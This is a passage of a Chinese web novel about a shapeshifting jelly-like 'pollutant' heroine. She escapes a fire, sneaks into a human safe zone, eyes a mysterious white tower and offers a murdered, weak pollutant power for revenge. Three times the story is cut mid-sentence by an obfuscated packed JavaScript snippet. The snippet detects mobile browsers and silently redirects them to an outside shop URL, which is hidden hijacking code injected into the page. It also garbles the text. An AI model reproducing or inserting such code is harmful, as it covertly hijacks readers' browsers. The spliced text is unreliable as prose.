最后一块碎石掉落，小蜘蛛闻到了森林湿润又阴冷的风，晨曦从茂密的树叶缝隙中洒落，大方地分出一缕照进洞穴。 小蜘蛛立即兴奋转身，想告诉001这个好消息。 可通道的尽头，深穴之中，女孩安静靠在一块凸起的岩石上，歪着头、乌黑的长卷发披散在肩膀。 晨曦的一束光照在她散开的裙摆上。 小蜘蛛愣了下，哒哒哒跑过去，用腿尖轻轻轻轻地戳了戳女孩的手掌心。 但001一动不动。 她永远地睡着了。 小蜘蛛根本分不清死亡和睡眠有什么区别，可能是一样的。 它记得001说，等她睡着了就把她吃掉。 但小蜘蛛不想这么做。 没有为什么，它就是一只什么都不懂的小蜘蛛而已。 它安静地守着001，想等她醒来。 可没多久，女孩的身体开始有不好的变化，长发变得暗淡枯燥、皮肤变成青色，连掌心都变得冰冷。 小蜘蛛的身躯倒是越来越大，守在她身边像一座坚硬的黑色山丘。 它急得团团转。 它得找一个绝对安全的地方，在001睡醒之前保护好她。 最后，它把001装进自己腹腔里。 它现在有巨大的身躯和坚硬的钢铁外壳，足以保护她不受伤害。 小蜘蛛望着洞穴外日升日落的光影变化，每天都在期待—— 001，我帮你挖开岩石了。 你说的自由是这样吗？ 快点醒来吧。 ………… 但最后的最后，001永远也不会醒来了。 简岁再次睁开眼，洞穴中红色火焰灼烧一切，很快席卷到角落里的大蜘蛛。 普通火焰无法点燃深穴蜘蛛的钢铁外壳，但赤火可以。 整个洞穴被映照成一颗鲜红色光球，像特意给予她和它的一场盛大葬礼。 它会将蛛丝、头发、小蜘蛛和001全部烧成灰烬，再也不留下痕迹。 幸好在彻底消失之前，有人见过了一切。 简岁很在意那所谓的「银色花园」，是个和污染有关的实验基地？目的是什么？ 人类真是不管在什么样的时代，都很能倒腾啊。 熊熊烈火中，系统的声音如期出现—— 【系统提示：恭喜您成功解决B级（已修正)污染物「深穴蜘蛛」，获得B级污染原核×1（已消化)】 【可选异变方向+1】 【名称：钢铁外壳】 【作用：立即生成一层坚硬外壳，可抵挡B级以下所有物理伤害，可抵挡B级70%物理伤害】 简岁迫不及待试试新能力，选择【使用】，身上果然立即出现一层黑铁色外壳，跟铠甲似的！还可以随意选择覆盖哪些区域。 也就是说，以后她不止可以变形，还可以给自己任意位置增添铁甲，变化的选择更多了。 如果她不是一颗圆滚滚小果冻该多好啊，变成人全身穿钢甲，不敢想得多酷！ 不过感觉用处不是很大，毕竟她重构速度够快，就算被攻击顶多就是疼一下，大不了死了重开。 防御？不需要！ 简岁：“能再给个攻击技能吗？” 【系统提示：获得异能+1】 【名称：「蛛丝」】 【描述：来源于「深穴蜘蛛」的蛛丝，坚韧异常，可自由伸缩变化。】 简岁眼前一亮，虽然不是什么惊天动地的顶级异能，但她终于能主动输出了！ 赤火燃烧洞穴内一切，留下浓郁的蛋白质烧焦的气味，这些火焰就像有意识一样，不依不饶追逐着简岁。 简岁试着甩出蛛丝，果然也立即被点燃，却没被烧断。 赤火附着在蛛丝之上，形成一条长长的空中燃烧带。 这来源于「深穴蜘蛛」的异能，好像比深穴蜘蛛自己用还要厉害点？ 简岁不禁开始思考自己到底是什么等级的污染物了，她污染度好像比B级的深穴蜘蛛更高。 赤火转着弯扑向她，像张狂的巨兽。 简岁的移速是指望不上的，她瞄准洞穴外，猛地甩出几根拧成绳的蛛丝，借力弹射出去。 熊熊烈火追着她冲出洞口，直接将一大片宽叶草烧成焦黑色灰尘，火舌喷发，瞬间燎倒近处几棵参天巨树。 巨大的动静连0743小队都听见了，一行人刚逃出洞穴没多久，就感觉身后突然袭来一阵滚烫热浪。 队伍末尾的赵河正不停调试手里的通讯设备，眼看就能跟信息部那边接通。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718990|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他愣愣转头，就看见一团半透明小果冻极速弹射而来。 在她身后，吞噬一切的赤焰铺开血红色火海，像是她闪耀登场的特殊幕布。 火海途径之地，巨树倒塌、草木成灰，连土地都烧成焦黑色，宛如一场迅速传播的灾难。 而现在，火海带着烧尽一切的气势朝他扑来了。 赵河手里的设备啪嗒落地，脸色惨白：“快、快跑！！” 可是来不及了，简岁拽着一条正在燃烧的蛛丝飞跃过0743小队头顶天空，赤火紧随其后。 火舌擦过赵河身体的一瞬间，所有防护便像融化似的消失不见。 紧接着他的□□开始燃烧，皮肤底下的血肉暴露在火里，他倒在地上痛苦翻滚：“救命！救命啊！戴哥！” 戴宸没有回头，他放出了赤火，但他不是赤火的主人，他控制不了这股能量。 他脸色铁青地扭头就跑。 赵河在地上艰难爬行，破碎喉咙里断断续续冒出话：“韩姐、韩姐，救救我……小李、小李，你最善良了，救救我啊……” 赤火远超0743小队的能力，没有人能救他。 不过几次眨眼，火焰便将赵河彻底烧成灰烬，与那些草木灰混在一起，甚至分不清。 所有人不分方向狂奔几千米，赤火才渐渐衰弱，最后只剩一团燃烧不息的火苗。 李麦怡好在有异能跑得快，她拉着韩雨香一直跑在最前面，此时除了气喘吁吁没什么问题。 反倒是戴宸，被火焰燎了好几下，衣服烧得破破烂烂不说，头发也没了大半。 更别提满是黑烟的脸和皮肤，好几处甚至烧破皮肤，露出番茄酱似的烂肉。 他疼得直打抖，怨毒地盯着落在树杈上的简岁。 简岁笑了笑：“真不好意思，我急着逃命呢，没想到误伤你们了。” 戴宸听不出一点抱歉的味道，她就是故意的！！ 她杀了赵河！！还让自己在女人面前这么丢脸！！ 戴宸愤怒不已，简直想杀了这只污染物。 可他没那个能力。 而且对方是污染物，他甚至没法用道德和规则去束缚。 他恶狠狠道：“你杀了赵河，中心那边一定会派人来剿灭你！你等着吧！” 简岁不理解：“队员死了，火是你放的，关我什么事？” 别看她柔弱就让她背锅啊！ 她只是一颗可爱的小果冻罢了！能有什么坏心思呢！ 戴宸一时竟然语塞。 队里死了人，他这个队长最麻烦，回去报告都得写好几次。 更别说一开始设想的奖励和升职，都成泡影了。 他越想越难受，这时通讯设备恢复正常，频道里跳出密密麻麻的信息。 耳麦里是分析员惊喜的声音：“连上了！连上了！这里是十四区污染处理中心信息部，0743小队收到请回复！” “处理员编号183484，戴宸，收到。” “处理员编号248456，韩雨香，收到。” “处理员编号354332，李麦怡，收到。” 少了一个人，信息部那边立即知道发生了什么。 副部长江越梅拨开分析员，语气沉静：“收到你们存活的消息，我很高兴，支援已经到了，0743任务完成，先撤回安全区吧，我会安排人在隔离之墙外接应。” 简岁待在树杈上没说话，幽幽望着离去的0743三人。 死一个赵河算什么，戴宸放火烧她，她可没打算放过。 但污染处理中心那边来人了，系统在提醒，她不能轻举妄动。 【戴宸所在的十四区发展不错，中心那边有不少高手，请宿主小心为上。】 简岁对这个时代的人类越来越好奇了：“所以这次来的是谁？” 【A级处理员姜越，编号104544，污染度83%，异能「风刃」，异变方向：狼化】 简岁有点意外，这系统待在她脑子里哪也没去，结果知道得还挺多。 【他来了，走吧。】 “好哦。”简岁也不是犟种，“对了，你刚刚说戴宸在哪个区？十四？” 系统：…………宿主你想做什么。 简岁笑了笑：“别紧张嘛，随便问问。” 她射出蛛丝飞到另一棵树上，渐渐远离了赤火烧出的焦土。 最后一眼，她看见远处突然出现一点黑影，那黑影在森林里飞速挪移，几秒就窜出千米。 李麦怡加上异能「迅步」都已经很快了，但这个人，还要恐怖得多，几乎像一道无法捕捉的闪烁流光。 他的异能甚至都没点在速度上。 真不愧是人类异能者中的佼佼者。 姜越轻盈落地，举目望去尽是漆黑焦土，没有任何生命留存。 好好的外围区森林，这就被烧没了一大片，赤火还真是名不虚传。 他长着人类男性青年的外表，身材修长，不像0743进入外围区需要全副武装，他直接穿着卫衣就来了。 卫衣背面甚至还印着新潮的撞色图案。 姜越拉下卫衣帽子，短发里竟支楞出一对灰色毛茸茸狼耳，随着焦土的风一下下颤动。 深穴蜘蛛果真死了，暂时也没有感知到别的污染物。 但根据信息部刚刚同步过来的消息，这边应该还有一只不明污染物才对。 他挪开脚，盯着灰烬里一截没烧干净的白色蛛丝。 「赤火匣」模拟的是一位S级异能者的异能，虽然只有四分之一威力，但姜越被烧一下都要掉血。 结果，这B级深穴蜘蛛吐出的丝居然都没烧干净？ 真是见鬼了。 8. 安全区 有了蛛丝之后，简岁就跟个小猴子似的，在巨树森林中荡来荡去，移动得飞快。 不过她在外围区逛了一大圈，起初还觉得哪里都很新奇，久了之后就有点审美疲劳。 因为整个外围区无论地形如何，居然全是绿意盎然的森林，只不过树木的品种不一、疏密不一而已，但都有种莫名的统一感。 不像自然形成，更像人为建造。 简岁从系统那里了解到，人类现在都生活在安全区，安全区周围一圈则是外围区，就是她现在所处的地方。 再往远处走，才是真正意义上的污染区，神秘可怕，是真正的废土。 外围区其实也算是人类活动区域，只不过这里的污染浓度比安全区高，普通人接受不了，只有专门的处理员会过来清任务。 人类建立外围区，目的应该类似于防火时的隔离带。 只不过不知道为什么要特地建立成原始森林的模样，维护起来费劲、动植物多了还容易被污染。 等她兜兜转转回到焦土那边，污染处理中心的人已经全部撤退离开，连地面那朵赤火苗苗都被收走了。 简岁肉疼不已。 她看那剩下的赤火苗一直都不熄灭，肯定是好东西，还想着说不定能带走自己用，只不过一时半会儿找不到什么办法。 也吃不了，它烫嘴啊。 当时姜越那些人来得急，她只能先躲开，没想到他们连这都回收了。 简岁只能遗憾退场，问系统：“外围区没意思，我想进安全区玩玩，会不会被发现？” 【系统：人类现有的探测设备发现不了你。】 简岁：“我这么厉害啊。” 系统甚至贴心地给她发送一张地图，代表简岁的小红点位于整张地图东偏南的外围区。 往西北直线行进，就是安全区和外围区的分界线——隔离之墙。 有外围区做缓冲，这座人为建造的高墙便可以抵挡住绝大部分来自外部的污染物，在很大程度上维护着人类社会现有的平衡与安宁。 不过当然了，并不是所有污染都有形，高墙本身只能阻挡有实体的那些，剩下的得靠边界守卫军日复一日的高强度巡察。 可以说这些守卫军，本身也是隔离之墙的一部分。 根据系统给的资料来看，人类异能者大部分会加入污染处理中心，剩下部分则选择入伍、以另一种身份保卫家园。 至于那一撮游离在外的异能者，就不得而知了。 行进一段时间后，简岁站在巨树高高的树枝上，老远就看见一道黑色高墙巍峨矗立在天际线处，像一面无边无垠的屏障。 墙特别高，顶部尖锐的铁刺仿佛已经穿破云层，威严不可侵犯。 每天通过隔离之墙的人其实很少，来来往往就是几支处理员小队，所以看着还有点边关的荒凉感。 离得近了，才能看见底部紧闭的拱形门，镶着一圈金属，顶部有一只醒目的黑匣子，三粒绿色指示灯安静如常。 简岁本来还觉得，自己连蛛丝茧都能钻出来，在这高墙找个缝钻过去还不容易？ 但她寻觅半天，这隔离之墙不知道什么材质构成，又是什么工艺，居然完整如一体，没有任何空隙。 她只能老老实实从门走，趁着一支处理员小队收工回家的功夫，钻进某个队员的背包，悄咪咪地进城了。 简岁从背包缝隙盯着拱门顶部的黑匣子，处理小队经过时，三粒指示灯开始有规律地闪烁。 【正在检测……】 【姓名：赵锦】 【身份：D级处理员】 【编号：348876】 ………… 【污染度：30.1%】 【异变值：37.2】 【检测结果：通过】 【欢迎回到安全区，祝您一路平安。】 闪烁结束，指示灯重新变回平稳的绿色。 赵锦背着包心情不错地踏入安全区。 等这次任务积分到账，她就能全款买下看中的那套小房子了！ 如系统所说，检测匣果然没能发现浑水摸鱼的简岁。 【系统：人类现在常用的就是这种检测黑匣子，全部云端联网，数据实时发送到中心信息部，一旦有异常，立即就会安排最近的处理员过来解决，有时也跟军方联手。】 信息部对污染相关数据的把控程度令人咂舌，几乎到了不放过一丝风吹草动的地步，难怪安全区能保持稳定状态这么久。 简岁问：“其他的数据我都知道，「异变值」是什么？” 【系统：人类发明的词汇，用来衡量处理员的精神状态是否安全可靠。】 【毕竟人类接触污染大概率会引发精神问题，「异变值」越低则代表个体精神状态越良好。】 【而「异变值」一旦突破某个阈值，就会彻底失去正常的情感和理智。处理中心选择将这些人关起来封闭观察，三天后没恢复到正常数值，则当做污染物处理。】 简岁好奇：“那我现在「异变值」多少了？” 【系统：你没有。】 简岁想了想觉得也是。 对人类来说，污染的尽头不过是彻底成为污染物，可她已经是污染物了。 直接少走几十年弯路。 如果非要给她一个「异变值」，那也应该是100.0。 从隔离之墙的这个门进去，就是安全区第十四区的直辖范围。 赵锦一行人要直接回十四区的污染处理中心结算任务奖励，简岁干脆懒懒地搭个便车。 她安详地睡在背包里，明显感觉进安全区之后，污染的气味淡了很多很多。 如果说外围区还有个20-40%浓度，那安全区必定在20%以下。 这还是靠近隔离之墙的荒凉边缘，要再往中心地带去，岂不是只有个位数的污染浓度？ 单靠隔离之墙能做到这种程度？ 随着队伍行进，路越来越开阔，周围的景象也越来越繁华，从荒原到高楼林立的城市，竟然只需要十分钟。 人类灾后重建的家园，不像自然发展那样什么阶段的聚落都有。 简岁没看见村子或者小镇，只看见高度统一的银灰色高楼和各种充满现代风味的建筑。 它们整齐地挤在一起，代表了现存人类文明的模样，不浪漫、不唯美，但能最大限度容纳更多的幸存者。 再往区域中心走，周围的颜色才鲜活起来，便和简岁那个时代最繁华的大都市差不多了，只不过更新颖、更有科技感。 基本的衣食住行方式似乎变化不多，看得出一个世纪以来，人类把所有资源和心力都集中在对付污染物上了，根本没时间享受。 或者说，大部分人没时间享受。 在处理小队抵达污染处理中心之前，简岁先一步离开了。 她还没那么莽撞，一个污染物大大咧咧跑去污染处理中心闹事。 她只知道戴宸在十四区，可一路过来，她发现一个分区也挺大的，拿着地图都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718991|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找不到路。 简岁化成半透明物质，躲在建筑的阴影里移动，像一团烟。 她把附近几个显眼地标都转了一圈，大概了解了十四区的构造。 其他都好说，只有一个地方格外引人注目，那是一座形状简约的白色高塔，稳稳伫立在区域最中心的位置。 而且高塔的尖顶比十四区任何一座建筑物都高，迎着灿烂的阳光闪烁不停，像镶嵌了一只明亮的眼睛。 这个高度，如果站在塔顶，估计就能俯瞰整个十四区。 所以那只眼睛，确实一刻不停地注视着所有行色匆匆的人类。 在白色高塔边上，就是污染处理中心的高楼，对比起来都显得格外憋屈。 连中心都为之让步的高塔，到底是什么？ 很显然，污染时代，安全区不会有纯装饰性的大型建筑。 白塔必定有它的特殊作用，只不过简岁目前无从得知，连一向知识渊博的系统也没作声。 就在这时，她突然闻到一股令人凝重的味道，不由自主停下所有行动和思考。 这味道臭烘烘的、还夹杂着点热乎的酸味，不知道从哪里飘出来，整条街都是。 简岁不存在的心脏扑通扑通为之狂跳。 这、这是……螺蛳粉的味道！！ 虽然距离穿到这个污染世界还没过去一天，但她的大脑已经开始思念故土的美食了。 她本以为世界大变，人类就存亡问题一度迷失方向和信心，那时肯定没有人还在意明天吃什么。 或许曾经那些脍炙人口的美食也会一同没落，但居然没有。 反而安全区建立之后，来自天南地北的美食不再有地域限制，甚至能全部集中在同一条街。 永远可以相信人类对美食的执着！ 本来只打算进安全区随便溜达溜达的简岁脸色变得严肃，认真说：“系统女士，我觉得我需要一个人类身份，方便日后行动，你觉得呢？” 【系统：…………】 方便你逛街吃美食是吧？ 不过系统还真慢悠悠给出一个解决方案—— 【或许，宿主您可以试试怎么更好地运用自己的变化能力。】 【无论圆形、方形，还是现在这个隐匿状态，都只不过是宿主您万千形态中的一种。】 简岁是最特别的污染物，她没有具体形状，那也代表着，她可以是任何模样。 “懂了，捏脸是吧！好玩！” 简岁眼前一亮，迫不及待开始试验。 她玩过的很多游戏都有捏脸系统，但这还是头一回正儿八经从0开始捏一个人类壳子。 起初，她想，要不按照印象里最美的女明星们来捏好了，保准捏出一个风华绝代、倾国倾城的大美人。 可真等开始的时候，她却还是老老实实按自己的模样捏了，连一丝一毫都不愿意改动—— 尽管那会让她看起来更世俗意义上的美丽。 捏脸的过程中，简岁不由自主回忆着自己到底长什么样，说起来也奇怪，其实人是记不清自己的具体容貌的。 有时候她看着镜子里的自己，都会觉得陌生。 穿过来之后变成非人类的污染物，她也打心底里没觉得自己跟以前有什么本质的不同，只不过换了个外壳罢了。 而现在，在这个真正陌生的世界，她审视着自己一点点捏出来的另一个“自己”，忽然有了浓烈的熟悉感。 这就是她啊，简岁。 新世界，她来了。 9.追踪令 十四区污染处理中心大楼，三号会议室。 已经是晚上八点，会议室却还灯火通明，长桌两侧零星坐着几位中心高层。 每个人面前都亮着智能光幕，显示的是同一份文档。 “这是0743小组幸存三人交上来的任务报告，我们部门分析员比对过三份报告内容，对其中存在夸大、隐瞒或视角偏差的部分进行过二次修正，现在发给各位的是最接近实际情况的版本。” 率先说话的人是信息部部长江越梅。 信息部本来就经常主持会议，这次任务的所有变化又都在信息部监测下发生，由她第一个发言最合适不过。 实际上连这次会议都是她发起的。 污染处理中心不设置主理人，在座几位部门管理员理论上都是平级，直接归中心总部管辖。 不过信息部作为中心大脑，江越梅说话分量很重。 其他人即使并不都是好脸色，也都老老实实把报告从头到尾扫一遍。 “这事我听说了。” 执行部部长岑天俊紧接着开口，“今天我的人到外围区出任务，目标突然被二次污染，污染度上升28%，连升两级，四个人只回来三个。” “其实算不错了，以前遇到这种突发状况，除非能提前通知撤离，否则都是100%死亡率。” 他这话没错，此次意外损失对处理中心来说已经是最小化。 而针对牺牲员工，中心有一整套完善的抚恤补助流程，也不需要特地高层开会。 所以众人心里都清楚，此次会议要点其实是那只造成深穴蜘蛛二次污染的不明污染物。 报告中称，该污染物无固定形状、可自由变化，常态下像一颗半透明果冻。 外表无害，会说人话，与0743小队合作杀死B级污染物深穴蜘蛛，最后却引导赤火将处理员赵河活活烧死，反复无常、性情残暴。 虽暂未发现攻击能力，却具有极其可怕的重构速度。 处理员李麦怡声称任务前曾见过它，对它开过三枪，它竟毫发无损，因此初步判断为S级污染物。 另外两名处理员则说它被深穴蜘蛛刺中后确实没死，而是化成半透明液态物质。 综合三份报告，信息部最后得出的结论是—— 外围区出现不明来历A级污染物，拥有一定智慧、性情狡诈残暴，且可能具有某种变化类异能，能巧妙规避实体攻击。 该污染物活跃于外围区，对后续任务员工具有长期威胁，建议尽早处理。 岑天俊看完报告最后一句话，眉头夹紧：“A级污染物，棘手啊，又正是缺人的时候……” 真不是他消极，要摆平这玩意儿至少得派一名A级三名B级去吧？ 可十四区最近也不太平，光鑫海小区那儿就已经折进去三名A级处理员、五名B级处理员了。 死这么多人结果还没处理干净，这第三支队伍还派不派呢？派谁呢？ 他都要愁死了。 现在连总部那边都知道了，连下好几份文件督促，改明儿他还得亲自去趟一区，听上司们训话。 哈，这日子过的，一把年纪了还得给人当孙子。 这些情况江越梅也清楚，冷静说：“没让你现在就安排，这几天把姜越调到我手底下就行。” 岑天俊恍然：“想起来了，还没定位到是吧？连姜越都没找着痕迹，这污染物还挺能藏，看来真是A级。” “那我让姜越空几天出来帮你，他那狗鼻子狗耳朵找东西是好使。” 江越梅点点头，收拾着桌面：“鑫海小区预计一周后污染浓度将再次上涨，这周再下最后一支小队吧，还是处理不了的话，我来向上边申请区域封锁。” “也只能这样了。”岑天俊靠在椅背上，喃喃道，“不过那小区一千多个人呢，封锁了就真都等死了，希望这次能成吧……” 江越梅置若罔闻，她可没耐心开导中年颓废男人。 转头又给其他部门交代了点事，诸如牺牲员工抚恤金、受伤员工医疗休假、员工奖罚结算之类，说完就直接散会走了。 岑天俊等到最后，拍了拍身边同事肩膀，感慨：“老方啊，要是你还在职就好了。” 坐在桌尾的男人半阖着眼打盹，半长不长的发尾拖在颈窝里，显得没什么精神。 这人被点到名才吭声：“我一个管后勤的，扯我干什么。” 岑天俊呵呵一笑，转头突然想起件事：“哎对了，你知道不，这次任务有人用了赤火匣，赤火啊，上回见还是……” 方源缓缓掀开眼皮，眼瞳中流淌着浓郁的赤红色：“哦。” ………… 简岁变成人类模样走进新世界的第三分钟，就发现了这个世界最残酷的事—— 好想吃螺蛳粉，但她没有钱。 她刚踏进店里，反手一摸自己空空如也的口袋，悲伤涌上心头。 店铺老板疑惑走过来：“您好，想吃什么？” 简岁什么也吃不起，她问：“这附近有大一点的花园吗？” 老板愣住，好心地指了个方向：“花园没听说，但那边有座公园，蛮大的，又热闹。” 不过简岁阅读的是深穴蜘蛛的记忆，它觉得是花园的地方未必是真的花园。 毕竟哪有银白色的花园啊。 那到底会是什么地方呢？ 她走出螺蛳粉店，在林立的高楼之中仍能隐约看见远处矗立的白色高塔。 它区别于所有建筑物，根本不像这拥挤安全区里应该存在的东西。 直觉告诉她，必须得找机会进去看看。 【系统提示：宿主，信息部正在追踪您的位置，请注意躲避。】 简岁瞬间精神了：“哦？多久能找到我？” 【十分钟前已派出具有A级侦查异能的分析员，预计二十四小时内就会发现您已进入十四区，后续精准定位只需十分钟。】 十四区这么大，最难的排查具体位置居然只需要十分钟？ 简岁有点意外：“这信息部还真挺厉害的。” 她沿着街道溜达，若有所思地说：“这么说……要能让信息部帮我调查银白花园就好了，肯定比我自己找容易吧？” 这回换系统卡顿了一下，强调。 【……提醒宿主，信息部在追踪您，一旦发现您的踪迹，立即就会出动处理小队，届时将给您带来很大麻烦。】 “是啊，所以与其等着被找麻烦，还不如我主动找他们麻烦。”简岁笑眯眯道，“而且谁给谁带来麻烦还不一定呢。” 不过做污染物也不能太猖狂，这人生地不熟的，确实得先做点准备。 她溜达去了螺蛳粉店老板说的那个公园，果然很热闹，熙熙攘攘到处都是人。 不过污染时代的人和她那个时代终究有点不同，不管散步、聊天、摆摊还是做什么兴趣爱好，每个人的神情都仿佛笼罩着一层阴霾。 因为谁也不知道灾难会在哪一天降临，命运又会在何时突然走到终点。 高压时代下，每个人都背着一根紧绷的弦，随时可能异化。 简岁一直待到凌晨，距离系统提示已经过去十个小时。 这时候的公园才显得有点空旷冷清，连中央的圆形喷泉都停止喷水，偶尔有夜归人从公园外匆匆路过，却没有人会在这个时间点进来。 万籁俱寂。 简岁走到喷泉边等了会儿，积水正顺着底部的排水口缓缓流走。 五分钟后，喷泉水池彻底干涸，带花纹的瓷砖和排水口暴露在深夜的空气中。 一堆软烂肉泥从狭窄的排水口像挤牙膏一样一截一截挤出来，拖拽着一长串细小骨头和零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722581|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎组织，最后还缀着两颗发青的眼珠。 这是一只躲在地下排水管道的污染物，简岁早就发现它了，才18%污染度，最低的E级。 它生前被最亲密的枕边人剁成肉泥抛尸在腐臭下水道，变成污染物后连个形状都没有。 那凶手现在如何了呢？ 说不定已经拿着她的钱和别人组建新家庭，有儿有女幸福美满。 而它，它不成人样、走不了远路、看不到方向，只能趁凌晨没人、喷泉干涸的时候，从底下爬出来吹吹风。 好恨啊，却无计可施。 不是所有的污染物都强大又凶狠，它就很弱，弱得连以清除污染为己任的污染处理中心大楼就在附近都没发现它。 它还是人类的时候就被欺负得很惨，最后死得更惨。 而现在作为污染物，它依旧很寒碜，最低的等级代表它连污染原核都没有，被普通地捅一刀就会再死一次。 它是如此的平庸而凄惨，甚至不敢在白天发出任何动静，担心被人发现。 所以它大部分时间都躲在湿臭的下水道里，饿了吃吃老鼠和虫子。 幸好污染物不会闹肚子。 只有每晚周围没人的时候，它才敢偷偷挤出排水口，透透气、看看月亮和星星。 今夜，它照常出门。 可失策了，这次喷泉池边，竟然站着一个人类女孩，正好奇地盯着它。 它被发现了。 它本能地害怕，想钻回下水道躲起来。 谁知下一秒，那女孩悄然融化坠地，直接当面变成一汪半透明的水。 那些水又凝聚成一只圆滚滚的半透明的团子，像果冻一样，滚到它旁边。 简岁说：“怕什么，你看，我也是污染物啊，我们是同类。” 它颤颤巍巍停住，可惜它不会说话。 像它这种低等级的污染物是没法说话的，能听懂也多亏活着的时候是人类。 是的，它就是这么弱，可笑吧？ 她说：“你感觉得到吧，我比你强大，如果我把我的力量分给你，你至少能升到C级。” 这是简岁根据深穴蜘蛛的情况粗略计算的，蜘蛛从38%到66%，这只本身才18%，二次污染后应该能升得更。 她的声音在黑夜里显得极其悠远：“到时候，谁欺负你、谁害死你、谁将你剁碎、谁把你扔在这里，有了力量，你就可以报仇，不是吗？” 它渐渐停止颤抖，把已经钻回去一半的肉泥撤回来，缀在肉泥上的眼珠子专注盯着简岁。 她继续问：“所以，你想要力量吗？” 你想要力量吗？ 当然……想啊…… 它想啊！它想！！它做梦都想！！ 否则它为何要坚持过这样浑浑噩噩的污染物生活？ 为何每天与老鼠虫子为伴也不想彻底死去？ 因为彻底死去，就再也没可能了。 它作为人类或污染物的确都很惨、很没用，可谁也没法阻止它在心底保留那么一点点的幻想。 它幻想自己有一天，或许能变成D级污染物，变得稍微厉害一点点。 哪怕冲过去的结局是和仇人一起死，也算复仇成功，不是吗？ 而现在，一定是污染之主来实现它心中微小的祈求、来帮它了。 它虔诚地蠕动到简岁身边，几乎把她当成从天而降的主神去膜拜。 简岁再次融化，这次她化作缥缈的烟雾，钻进它青色的眼珠里，痛苦令它不断抽搐。 “我给你力量，你去复仇。” “但之后，你就是我的手下了，哪怕我让你去死你也得听话，明白吗？” 痛苦却令它兴奋，它对此毫无异议。 只要，主能在此刻给它力量—— 它将甘愿为主献出一切。 10.她的复仇 陈曦二十岁的时候，父母车祸意外身亡，留下一笔钱和几处房产。 当时身边所有亲戚都对她很好，帮忙料理爸妈后事，每天嘘寒问暖、关心她的身体和心情。 他们叹气，说，曦曦这么乖这么懂事的孩子，怎么会遇到这种祸事，真是可怜，老天真不长眼。 的确，陈曦从小到大一直都是所有人眼中的乖乖女。 长相干净、说话温柔、待人友善，连遭遇这么大的变故都不好意思给其他人添麻烦，白天强颜欢笑，半夜自己躲在房间偷偷地哭。 她觉得亲戚们已经够好的了，自己怎么能不识好歹？ 她得体贴懂事，她得做一个体贴懂事的好女孩。 也正因为如此，她才能在某个深夜睡不着时，听到亲戚们聚在客厅讨论—— “怎么样，问清楚没，曦曦她爸妈是不是留了两套房？” “三套！还有不少钱呢！这丫头真是会投胎啊，有这么能赚的爸妈。” “她一个小姑娘也用不了三套，到时候还不是你这个舅舅说了算。” “怎么，你这个姑父就不想分点？” 于是所有人都心照不宣地相视而笑。 如果不是为了孤女名下的房和钱，谁愿意每天下班往这地方跑？还又是做饭又是谈心，当公主一样伺候，没好处谁有那闲工夫。 他们甚至内部都分好了，就像一群瓜分尸体的秃鹫，你一块我一块，格外和谐。 没有人会在意，双亲尸体边还有个痛苦落泪的女孩。 陈曦在门后陷入长久的沉默。 她想起前几天姑姑问，马上堂弟要上高中了，能不能把那套靠近学校的房子借给他住，说走读上学能节约时间，空着也是空着。 当时陈曦有点犹豫，她不是小孩了，父母的财产当然不能随意处置。 可没想到舅舅姑父纷纷开始帮忙说话。 什么“都是一家人！曦曦这孩子我看着长大，一向乖巧懂事，借住而已，这么点小忙肯定没问题！” 还有“你姑姑对你那么好，这些天忙上忙下照顾你，班都不上了，你可得知道感恩呐。” “曦曦心地最善良了，你堂弟可喜欢你了！简直比亲姐还亲！” 陈曦头特别晕，甚至想吐，她想站起来大声喊：别说了！我一点也不想听这些！ 但她站不起来，因为其他人是在夸她啊，夸她乖巧懂事善良体贴人，她难道能反驳吗？ 难道她要说自己其实既不乖巧也不懂事、就是个彻头彻尾离经叛道的女孩？ 陈曦不敢，从小到大她都是乖巧温柔的。 从她有认知起，就感觉生活中有无数双眼睛，死死地凝视她、审判她，让她一点自己的脾气都不敢有。 她不知道为什么会这样，但似乎身边其他女孩也这样。 不只她一个人有这种情况。 是啊，很多女孩都这样，这是很正常的事，自古以来都这样。 陈曦放松下来，乖巧说：“好的姑姑。” 而现在，她听着门外宛如魔咒一般的窃窃私语，那种想呕吐的感觉又出现了。 可惜最后的最后，她也没敢冲出去跟所有人对峙。 即便此刻她才是那个有资格大声指责的人，可一旦冲出去，做错事的就会变成她。 那些凝视她的眼睛将立即兴奋地射出毒箭，将她钉在十字架上等待审判。 “不懂事！” “太自私了！” “开开玩笑而已，这么较真干嘛？” “我们这是为你好，你怎么不懂呢？” “脾气怎么这么差，女孩子要温柔一点！” “明明小时候很听话很乖的，真不知道跟谁学的，怎么变成这样了！” 陈曦被淹没在世界的噪音里，像一块漂在暴风雨海面上的孤木，不知道该抓住谁的手。 她试图去找好姐妹倾诉，可好姐妹也面临着同样的困境。 